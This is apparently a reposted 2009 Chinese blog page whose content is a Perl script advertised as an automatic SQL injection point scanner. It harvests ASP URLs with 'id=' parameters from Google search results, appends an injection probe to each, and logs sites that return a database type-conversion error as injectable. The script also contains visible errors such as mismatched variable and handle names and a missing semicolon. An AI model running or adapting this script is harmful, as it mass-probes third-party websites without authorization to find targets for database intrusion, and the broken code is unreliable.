perl写的自动扫描sql注入点的程序

2009-11-9 10:07 985 0

摘要: use Html::LinkExtor;use Lwp::UserAgent;open(DaTA, ">>1.txt");for ($count=1; $count <= 58; $...

关键词： aurl browser print my url alink count extor doc LinkExtor

use Html::LinkExtor;use Lwp::UserAgent;open(DaTA, ">>1.txt");for ($count=1; $count <= 58; $count++){my $browser = LwP::UserAgent->new;my $url="http://www.google.cn/search?hl=zh-CN&newwindow=1&client=aff-cafe-spring&channel=t1&hs=U4k&q=%E6%97%85%E6%B8%B8+inurl:asp%3Fid%3D&start=".$count."0&sa=N";print "$url\n";$browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; iCafeMedia; cafe8)');my $response= $browser->get($url) or die '获取网页失败'$doc=$response->content;my $extor=HTML::LinkExtor->new(undef, $url);$extor->parse($doc) or die;my @links=$extor->links;foreach my $alink(@link){my $tbg=shift @$alink;next if($tag !~ /a/i);my %attrs=@$alink;while(my($attr, $aurl)=(each %attrs)){next unless $attr eq 'href';if ($aurl !~ /google|search/){print "当前测试url：$aurl\n";$browser->timeout(3)$doc1=$browser->get("$aurl; and user >0")->content;if ($doc1 =~ /转换成数据类型 int/){print "恭喜：$aurl\n";print DATA "$aurl \n"}}}}}

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除